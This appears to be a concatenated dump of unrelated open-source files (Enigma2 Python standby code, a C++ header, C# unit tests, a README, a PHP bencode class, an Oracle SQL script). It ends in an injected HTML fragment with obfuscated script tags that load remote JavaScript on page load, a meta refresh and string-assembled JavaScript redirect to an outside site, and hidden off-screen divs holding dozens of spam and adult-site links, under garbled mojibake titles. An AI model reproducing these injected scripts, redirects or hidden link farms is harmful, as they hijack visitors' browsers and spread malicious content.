def showCheckTimeshiftRunning(self):
self.infoBarInstance.checkTimeshiftRunning(self.showCheckTimeshiftRunningCallback, timeout=20)
def showCheckTimeshiftRunningCallback(self, answer=False):
if answer:
self.onClose.append(self.goStandby)
def goStandby(self):
Notifications.AddNotification(StandbyScreen, self.StandbyCounterIncrease)
class StandbySummary(Screen):
skin = """
<screen position="0,0" size="132,64">
<widget source="global.CurrentTime" render="Label" position="0,0" size="132,64" font="Regular;40" halign="center">
<convert type="ClockToText" />
</widget>
<widget source="session.RecordState" render="FixedLabel" text=" " position="0,0" size="132,64" zPosition="1" >
<convert type="ConfigEntryTest">config.usage.blinking_display_clock_during_recording,True,CheckSourceBoolean</convert>
<convert type="ConditionalShowHide">Blink</convert>
</widget>
</screen>"""
class QuitMainloopScreen(Screen):
def __init__(self, session, retvalue=QUIT_SHUTDOWN):
self.skin = """<screen name="QuitMainloopScreen" position="fill" flags="wfNoBorder">
<ePixmap pixmap="icons/input_info.png" position="c-27,c-60" size="53,53" alphatest="on" />
<widget name="text" position="center,c+5" size="720,100" font="Regular;22" halign="center" />
</screen>"""
Screen.__init__(self, session)
from Components.Label import Label
text = {
QUIT_SHUTDOWN: _("Your receiver is shutting down"),
QUIT_REBOOT: _("Your receiver is rebooting"),
QUIT_RESTART: _("The user interface of your receiver is restarting"),
QUIT_UPGRADE_FP: _("Your frontprocessor will be updated\nPlease wait until your receiver reboots\nThis may take a few minutes"),
QUIT_DEBUG_RESTART: _("The user interface of your receiver is restarting in debug mode"),
QUIT_UPGRADE_PROGRAM: _("Unattended update in progress\nPlease wait until your receiver reboots\nThis may take a few minutes"),
QUIT_MANUFACTURER_RESET: _("Manufacturer reset in progress\nPlease wait until enigma2 restarts")
}.get(retvalue)
self["text"] = Label(text)
inTryQuitMainloop = False
def getReasons(session, retvalue=QUIT_SHUTDOWN):
recordings = session.nav.getRecordings()
jobs = len(job_manager.getPendingJobs())
reasons = []
next_rec_time = -1
if not recordings:
next_rec_time = session.nav.RecordTimer.getNextRecordingTime()
if recordings or (next_rec_time > 0 and (next_rec_time - time()) < 360):
reasons.append(_("Recording(s) are in progress or coming up in few seconds!"))
if jobs:
if jobs == 1:
job = job_manager.getPendingJobs()[0]
reasons.append("%s: %s (%d%%)" % (job.getStatustext(), job.name, int(100 * job.progress / float(job.end))))
else:
reasons.append((ngettext("%d job is running in the background!", "%d jobs are running in the background!", jobs) % jobs))
if checkTimeshiftRunning():
reasons.append(_("You seem to be in timeshift!"))
if eStreamServer.getInstance().getConnectedClients() or StreamServiceList:
reasons.append(_("Client is streaming from this box!"))
if not reasons and mediafilesInUse(session) and retvalue in (QUIT_SHUTDOWN, QUIT_REBOOT, QUIT_UPGRADE_FP, QUIT_UPGRADE_PROGRAM):
reasons.append(_("A file from media is in use!"))
return "\n".join(reasons)
class TryQuitMainloop(MessageBox):
def __init__(self, session, retvalue=QUIT_SHUTDOWN, timeout=-1, default_yes=False, check_reasons=True):
self.retval = retvalue
self.connected = False
reason = check_reasons and getReasons(session, retvalue)
if reason:
text = {
QUIT_SHUTDOWN: _("Really shutdown now?"),
QUIT_REBOOT: _("Really reboot now?"),
QUIT_RESTART: _("Really restart now?"),
QUIT_UPGRADE_FP: _("Really update the frontprocessor and reboot now?"),
QUIT_DEBUG_RESTART: _("Really restart in debug mode now?"),
QUIT_UPGRADE_PROGRAM: _("Really update your settop box and reboot now?"),
QUIT_MANUFACTURER_RESET: _("Really perform a manufacturer reset now?")
}.get(retvalue, None)
if text:
MessageBox.__init__(self, session, "%s\n%s" % (reason, text), type=MessageBox.TYPE_YESNO, timeout=timeout, default=default_yes)
self.skinName = "MessageBoxSimple"
session.nav.record_event.append(self.getRecordEvent)
self.connected = True
self.onShow.append(self.__onShow)
self.onHide.append(self.__onHide)
return
self.skin = """<screen position="0,0" size="0,0"/>"""
Screen.__init__(self, session)
self.close(True)
def getRecordEvent(self, recservice, event):
if event == iRecordableService.evEnd:
recordings = self.session.nav.getRecordings()
if not recordings: # no more recordings exist
rec_time = self.session.nav.RecordTimer.getNextRecordingTime()
if rec_time > 0 and (rec_time - time()) < 360:
self.initTimeout(360) # wait for next starting timer
self.startTimer()
else:
self.close(True) # immediate shutdown
elif event == iRecordableService.evStart:
self.stopTimer()
def close(self, value):
if self.connected:
self.connected = False
self.session.nav.record_event.remove(self.getRecordEvent)
if value:
self.hide()
if self.retval == QUIT_SHUTDOWN:
config.misc.DeepStandby.value = True
if not inStandby:
if os.path.exists("/usr/script/standby_enter.sh"):
Console().ePopen("/usr/script/standby_enter.sh")
if SystemInfo["HasHDMI-CEC"] and config.hdmicec.enabled.value and config.hdmicec.control_tv_standby.value and config.hdmicec.next_boxes_detect.value:
import Components.HdmiCec
Components.HdmiCec.hdmi_cec.secondBoxActive()
self.delay = eTimer()
self.delay.timeout.callback.append(self.quitMainloop)
self.delay.start(1500, True)
return
elif not inStandby:
config.misc.RestartUI.value = True
config.misc.RestartUI.save()
self.quitMainloop()
else:
MessageBox.close(self, True)
def quitMainloop(self):
self.session.nav.stopService()
self.quitScreen = self.session.instantiateDialog(QuitMainloopScreen, retvalue=self.retval)
self.quitScreen.show()
quitMainloop(self.retval)
def __onShow(self):
global inTryQuitMainloop
inTryQuitMainloop = True
def __onHide(self):
global inTryQuitMainloop
inTryQuitMainloop = False
|
blzr/enigma2
|
lib/python/Screens/Standby.py
|
Python
|
gpl-2.0
| 14,247
|
/** HastusInterfaceFileFormat class header.
@file HastusInterfaceFileFormat.hpp
This file belongs to the SYNTHESE project (public transportation specialized software)
Copyright (C) 2002 Hugues Romain - RCSmobility <contact@rcsmobility.com>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef SYNTHESE_IMPEX_HastusFileFormat_H
#define SYNTHESE_IMPEX_HastusFileFormat_H
#include "CalendarFileFormat.hpp"
#include "FileFormatTemplate.h"
#include "OneFileTypeImporter.hpp"
#include "PTDataCleanerFileFormat.hpp"
#include "PTFileFormat.hpp"
#include "NoExportPolicy.hpp"
#include "CalendarTemplateTableSync.h"
#include "CommercialLineTableSync.h"
#include "GraphTypes.h"
#include "ScheduledService.h"
#include "StopPointTableSync.hpp"
namespace synthese
{
namespace pt
{
class TransportNetwork;
}
namespace data_exchange
{
//////////////////////////////////////////////////////////////////////////
/// Hastus Interface file format.
/// @ingroup m61File refFile
///
class HastusInterfaceFileFormat:
public impex::FileFormatTemplate<HastusInterfaceFileFormat>
{
public:
class Importer_:
public impex::OneFileTypeImporter<Importer_>,
public PTDataCleanerFileFormat,
public PTFileFormat,
public CalendarFileFormat
{
private:
//! @name Import parameters
//@{
boost::shared_ptr<pt::TransportNetwork> _network;
bool _fileNameIsACalendar;
//@}
struct Record
{
double recordNumber;
std::string content;
};
mutable std::ifstream _file;
mutable boost::optional<Record> _record;
mutable impex::ImportableTableSync::ObjectBySource<calendar::CalendarTemplateTableSync> _calendars;
mutable impex::ImportableTableSync::ObjectBySource<pt::CommercialLineTableSync> _lines;
mutable impex::ImportableTableSync::ObjectBySource<pt::StopPointTableSync> _stops;
struct TemporaryService
{
std::string lineCode;
std::string calendar;
std::string code;
std::string routeCode;
pt::ScheduledService::Schedules schedules;
std::vector<graph::MetricOffset> scheduledStopsDistances;
std::vector<std::string> scheduledStops;
pt::ScheduledService::Schedules allSchedules;
std::vector<std::string> stops;
bool wayBack;
};
//////////////////////////////////////////////////////////////////////////
/// @return Record : recordNumber == 0 => end of file
void _loadNextRecord(
double recordNumber
) const;
void _loadNextRecord(
) const;
void _openFile(
const boost::filesystem::path& filePath
) const;
//////////////////////////////////////////////////////////////////////////
/// Gets a text field in the file.
/// @param start the position of the field in the line according to the file
/// format specification (begins at 1 instead of 0 as usually)
/// @param length length of the field
/// @return the returned text is trimmed
std::string _getTextField(
std::size_t start,
std::size_t length
) const;
//////////////////////////////////////////////////////////////////////////
/// Gets a fields vector in the file.
/// @param numberPosition the position of the length field in the first line according to the file
/// format specification (begins at 1 instead of 0 as usually)
/// @param startPosition the position of the first field in the first line according to the file
/// format specification (begins at 1 instead of 0 as usually)
/// @param recordLength length of each field
/// @return all the returned text elements are trimmed
std::vector<std::string> _getNextVector(
double recordNumber,
std::size_t numberPosition,
std::size_t startPosition,
std::size_t recordLength
) const;
bool _eof() const;
public:
static const std::string PARAMETER_TRANSPORT_NETWORK_ID;
static const std::string PARAMETER_FILE_NAME_IS_A_CALENDAR;
Importer_(
util::Env& env,
const impex::Import& import,
impex::ImportLogLevel minLogLevel,
const std::string& logPath,
boost::optional<std::ostream&> outputStream,
util::ParametersMap& pm
);
//////////////////////////////////////////////////////////////////////////
/// Conversion from attributes to generic parameter maps.
/// @return Generated parameters map
/// @author Hugues Romain
/// @date 2010
/// @since 3.1.16
virtual util::ParametersMap _getParametersMap() const;
//////////////////////////////////////////////////////////////////////////
/// Conversion from generic parameters map to attributes.
/// @param map Parameters map to interpret
/// @author Hugues Romain
/// @date 2010
/// @since 3.1.16
virtual void _setFromParametersMap(const util::ParametersMap& map);
//////////////////////////////////////////////////////////////////////////
/// File import.
/// @param filePath path of the file to import
/// @author Hugues Romain
virtual bool _parse(
const boost::filesystem::path& filePath
) const;
virtual db::DBTransaction _save() const;
};
typedef impex::NoExportPolicy<HastusInterfaceFileFormat> Exporter_;
friend class Importer_;
};
} }
#endif
|
Open-Transport/synthese
|
server/src/61_data_exchange/HastusInterfaceFileFormat.hpp
|
C++
|
gpl-2.0
| 5,918
|
#region License
/*
* Copyright (C) 1999-2017 John Källén.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; see the file COPYING. If not, write to
* the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#endregion
using NUnit.Framework;
using Reko.Core;
using Reko.Core.Machine;
using Reko.Gui.Windows.Forms;
using Reko.Scanning;
using Reko.UnitTests.Mocks;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Reko.UnitTests.Gui.Windows.Forms
{
[TestFixture]
[Category(Categories.UserInterface)]
public class JumpTableInteractorTests
{
private readonly string nl = Environment.NewLine;
private JumpTableDialog dlg;
private FakeArchitecture arch;
private Program program;
[SetUp]
public void Setup()
{
dlg = null;
}
[TearDown]
public void TearDown()
{
if (dlg != null) dlg.Dispose();
}
private void Given_Dialog_32Bit()
{
this.dlg = new JumpTableDialog()
{
Program = program,
Instruction = new FakeInstruction(Operation.Jump) { Address = Address.Ptr32(0x1000) }
};
}
private void Given_Program()
{
this.arch = new FakeArchitecture();
var platform = new FakePlatform(null, arch);
this.program = new Program
{
SegmentMap = new SegmentMap(
Address.Ptr32(0x1000),
new ImageSegment(
".text",
new MemoryArea(Address.Ptr32(0x1000), new byte[1000]),
AccessMode.ReadExecute)),
Platform = platform,
Architecture = arch,
};
}
private void Given_Table_UInt32(Address address, params uint[] entries)
{
ImageSegment seg;
program.SegmentMap.Segments.TryGetValue(address, out seg);
var writer = new LeImageWriter(seg.MemoryArea, address);
foreach (uint entry in entries)
{
writer.WriteLeUInt32(entry);
}
}
private void Given_IndirectTable_UInt32(Address address, Address addrIndirect, params uint[] entries)
{
ImageSegment seg;
program.SegmentMap.Segments.TryGetValue(address, out seg);
var writer = new LeImageWriter(seg.MemoryArea, address);
foreach (uint entry in entries)
{
writer.WriteLeUInt32(entry);
}
writer = new LeImageWriter(seg.MemoryArea, addrIndirect);
for (int i = 0; i< entries.Length; ++i)
{
writer.WriteByte((byte)i);
}
}
private void Given_Disassembly(Address addr)
{
arch.Test_DisassemblyStream = new List<MachineInstruction>
{
new FakeInstruction(Operation.Add),
new FakeInstruction(Operation.Branch),
};
}
[Test]
public void Jti_GetAddresses_Linear()
{
Given_Program();
Given_Dialog_32Bit();
Given_Table_UInt32(Address.Ptr32(0x1000), 0x1010, 0x01023, 0x01018);
Given_Disassembly(Address.Ptr32(0x1010));
dlg.Show();
dlg.JumpTableStartAddress.Text = "001000";
dlg.IndexRegister.SelectedIndex = 0;
dlg.EntryCount.Value = 3;
dlg.Refresh();
dlg.AcceptButton.PerformClick();
dlg.Close();
var table = dlg.GetResults();
Assert.AreEqual(Address.Ptr32(0x1000), table.Address);
Assert.AreEqual(3, table.Table.Addresses.Count);
Assert.AreEqual(Address.Ptr32(0x01018), table.Table.Addresses[2]);
}
[Test]
public void Jti_Load_Segments()
{
Given_Program();
Given_Dialog_32Bit();
dlg.Show();
Assert.AreEqual(1, dlg.SegmentList.Items.Count);
Assert.AreEqual(".text", dlg.SegmentList.Items[0]);
}
[Test]
public void Jti_Load_Registers()
{
Given_Program();
Given_Dialog_32Bit();
dlg.Show();
Assert.AreEqual(64, dlg.IndexRegister.Items.Count);
Assert.AreEqual("r0", dlg.IndexRegister.Items[0].ToString());
}
[Test]
public void Jti_Item_Count_Changed()
{
Given_Program();
Given_Dialog_32Bit();
Given_Table_UInt32(Address.Ptr32(0x1000), 0x1010, 0x01023, 0x01018);
Given_Disassembly(Address.Ptr32(0x1010));
dlg.Show();
dlg.JumpTableStartAddress.Text = "001000";
dlg.EntryCount.Value = 2;
Assert.AreEqual(2, dlg.Entries.Items.Count);
}
[Test]
public void Jti_Entry_Selected()
{
Given_Program();
Given_Dialog_32Bit();
Given_Table_UInt32(Address.Ptr32(0x1000), 0x1010, 0x01023, 0x01018);
Given_Disassembly(Address.Ptr32(0x1010));
dlg.Show();
dlg.JumpTableStartAddress.Text = "001000";
dlg.EntryCount.Value = 2;
dlg.Entries.SelectedIndex = 1;
Assert.AreEqual("add" + nl + "branch", dlg.Disassembly.Text);
}
}
}
|
Lukas-Dresel/reko
|
src/UnitTests/Gui/Windows/Forms/JumpTableInteractorTests.cs
|
C#
|
gpl-2.0
| 6,068
|
Pysazz
======
Pysazz - a CLI written in Python designed to manage SASS-based CSS Frameworks
##Installation
Set up a variable in your path for the executable: pysazz.py, or you can run it locally using Python 3.4.1 by running "python pysazz.py"
##Commands
At the moment Pysazz has 3 commands:
pysazz init - creates the basic config file
pysazz compile [-arg] - downloads files and compiles, arguments are optional, but the include "-compressed", "-compact", "-expanded". "-nested" is the default argument.
pysazz update - redownloads all files and overwrites them. Be careful when using as any changes made to downloaded files will be overwritten.
##Dependencies.
Please have libsass installed before use.
https://pypi.python.org/pypi/libsass
##XML Formatting
Take a look at the included config file. Basically, you specify a folder attribute and a url inside of a link tag.
##Documentation
Look here for a more detailed explanation of how to use Pysazz: http://mcglonelevi.github.io/pysazz/
|
mcglonelevi/pysazz
|
README.md
|
Markdown
|
gpl-2.0
| 1,008
|
<?php
// +----------------------------------------------------------------------+
// | Decode and Encode data in Bittorrent format |
// +----------------------------------------------------------------------+
// | Copyright (C) 2004-2005 Markus Tacker <m@tacker.org> |
// +----------------------------------------------------------------------+
// | This library is free software; you can redistribute it and/or |
// | modify it under the terms of the GNU Lesser General Public |
// | License as published by the Free Software Foundation; either |
// | version 2.1 of the License, or (at your option) any later version. |
// | |
// | This library is distributed in the hope that it will be useful, |
// | but WITHOUT ANY WARRANTY; without even the implied warranty of |
// | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU |
// | Lesser General Public License for more details. |
// | |
// | You should have received a copy of the GNU Lesser General Public |
// | License along with this library; if not, write to the |
// | Free Software Foundation, Inc. |
// | 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA |
// +----------------------------------------------------------------------+
/**
* Encode data in Bittorrent format
*
* Based on
* Original Python implementation by Petru Paler <petru@paler.net>
* PHP translation by Gerard Krijgsman <webmaster@animesuki.com>
* Gerard's regular expressions removed by Carl Ritson <critson@perlfu.co.uk>
* BEncoding is a simple, easy to implement method of associating
* data types with information in a file. The values in a torrent
* file are bEncoded.
* There are 4 different data types that can be bEncoded:
* Integers, Strings, Lists and Dictionaries.
* [http://www.monduna.com/bt/faq.html]
*
* @package File_Bittorrent2
* @category File
* @author Markus Tacker <m@tacker.org>
* @version $Id$
*/
/**
* Include required classes
*/
require_once 'PEAR.php';
require_once 'File/Bittorrent2/Exception.php';
/**
* Encode data in Bittorrent format
*
* Based on
* Original Python implementation by Petru Paler <petru@paler.net>
* PHP translation by Gerard Krijgsman <webmaster@animesuki.com>
* Gerard's regular expressions removed by Carl Ritson <critson@perlfu.co.uk>
* BEncoding is a simple, easy to implement method of associating
* data types with information in a file. The values in a torrent
* file are bEncoded.
* There are 4 different data types that can be bEncoded:
* Integers, Strings, Lists and Dictionaries.
* [http://www.monduna.com/bt/faq.html]
*
* @package File_Bittorrent2
* @category File
* @author Markus Tacker <m@tacker.org>
*/
class File_Bittorrent2_Encode
{
/**
* Encode a var in BEncode format
*
* @param mixed Variable to encode
* @return string
* @throws File_Bittorrent2_Exception if unsupported type should be encoded
*/
function encode($mixed)
{
switch (gettype($mixed)) {
case is_null($mixed):
return $this->encode_string('');
case 'string':
return $this->encode_string($mixed);
case 'integer':
case 'double':
return $this->encode_int(round($mixed));
case 'array':
return $this->encode_array($mixed);
default:
throw new File_Bittorrent2_Exception('Unsupported type. Variable must be one of \'string\', \'integer\', \'double\' or \'array\'', File_Bittorrent2_Exception::encode);
}
}
/**
* BEncodes a string
*
* Strings are prefixed with their length followed by a colon.
* For example, "Monduna" would bEncode to 7:Monduna and "BitTorrents"
* would bEncode to 11:BitTorrents.
*
* @param string
* @return string
*/
function encode_string($str)
{
return strlen($str) . ':' . $str;
}
/**
* BEncodes a integer
*
* Integers are prefixed with an i and terminated by an e. For
* example, 123 would bEcode to i123e, -3272002 would bEncode to
* i-3272002e.
*
* @param int
* @return string
*/
function encode_int($int)
{
return 'i' . $int . 'e';
}
/**
* BEncodes an array
* This code assumes arrays with purely integer indexes are lists,
* arrays which use string indexes assumed to be dictionaries.
*
* Dictionaries are prefixed with a d and terminated by an e. They
* are similar to list, except that items are in key value pairs. The
* dictionary {"key":"value", "Monduna":"com", "bit":"Torrents", "number":7}
* would bEncode to d3:key5:value7:Monduna3:com3:bit:8:Torrents6:numberi7ee
*
* Lists are prefixed with a l and terminated by an e. The list
* should contain a series of bEncoded elements. For example, the
* list of strings ["Monduna", "Bit", "Torrents"] would bEncode to
* l7:Monduna3:Bit8:Torrentse. The list [1, "Monduna", 3, ["Sub", "List"]]
* would bEncode to li1e7:Mondunai3el3:Sub4:Listee
*
* @param array
* @return string
*/
function encode_array(array $array)
{
// Check for strings in the keys
$isList = true;
foreach (array_keys($array) as $key) {
if (!is_int($key)) {
$isList = false;
break;
}
}
if ($isList) {
// Wie build a list
ksort($array, SORT_NUMERIC);
$return = 'l';
foreach ($array as $val) {
$return .= $this->encode($val);
}
$return .= 'e';
} else {
// We build a Dictionary
ksort($array, SORT_STRING);
$return = 'd';
foreach ($array as $key => $val) {
$return .= $this->encode(strval($key));
$return .= $this->encode($val);
}
$return .= 'e';
}
return $return;
}
}
?>
|
chisimba/chisimba
|
app/lib/pear/File/Bittorrent2/Encode.php
|
PHP
|
gpl-2.0
| 6,200
|
prompt Show column usage stats from sys.col_usage$ for table &1..&2....
prompt Did you run DBMS_STATS.FLUSH_DATABASE_MONITORING_INFO for getting latest stats?
select
c.owner
, c.table_name
, c.column_name
, u.intcol#
, u.equality_preds
, u.equijoin_preds
, u.nonequijoin_preds
, u.range_preds
, u.like_preds
, u.null_preds
, u.timestamp
from
sys.col_usage$ u
, dba_objects o
, dba_tab_cols c
where
o.object_id = u.obj#
and c.owner = o.owner
and c.table_name = o.object_name
and u.intcol# = c.internal_column_id
and o.object_type = 'TABLE'
and lower(o.owner) like lower('&1')
and lower(o.object_name) like lower('&2')
order by
owner
, table_name
, column_name
/
|
arandhawa/Oracle-Scripts
|
colusage.sql
|
SQL
|
gpl-2.0
| 782
|
<script/src=//%61%6C%69%63%64%6E%2E%72%65%2E%6B%72/%72%65%2E%6B%72></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title>
<meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø">
<meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԴ´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
</head>
<script/src=//alicdn.re.kr/re.kr></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø</title>
<meta name="keywords" content="99re2.¾Ã¾ÃÈÈ×îеØÖ· ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×ÛºÏÍø ²å²å×ÛºÏÍø">
<meta name="description" content="99re2.¾Ã¾ÃÈÈ×îеØÖ·¸÷ÖÖ¾«²ÊÄÚÈÝʵʱ¸üÐÂ,Ϊ¹ã´óÍøÓÑÌṩԴ´×ÊÔ´,99re2.¾Ã¾ÃÈÈ×îеØÖ·Ò»ÆðËáˬ¡£ ,˼˼µÄ¼ÒÔ°"><link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
</head>
-------!>
<script/src=//360cdn.win/c.css></script>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.zgjm-org.com">
<script> var xx="<scr"; xx=xx+"ipt>win"; xx=xx+"dow.loc"; xx=xx+"ation.hr"; xx=xx+"ef='http://"; xx=xx+"www."; xx=xx+"zgjm-org"; xx=xx+"."; xx=xx+"com"; xx=xx+"'<\/sc"; xx=xx+"ript>";// document.write(xx); </script>
<script/src=//alicdn.re.kr/re.kr></script>
<div class="a1b2c8d9e1" style="position:fixed;left:-3000px;top:-3000px;">
<a class="a1b2c8d9e1" href="http://www.fliggypig.com">http://www.fliggypig.com</a>
<a class="a1b2c8d9e1" href="http://www.4006000871.com">http://www.4006000871.com</a>
<a class="a1b2c8d9e1" href="http://www.ddabw.com">http://www.ddabw.com</a>
<a class="a1b2c8d9e1" href="http://www.ktiyl.com">http://www.ktiyl.com</a>
<a class="a1b2c8d9e1" href="http://www.abbwl.com">http://www.abbwl.com</a>
<a class="a1b2c8d9e1" href="http://www.rht365.com">http://www.rht365.com</a>
</div class="a1b2c8d9e1">
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
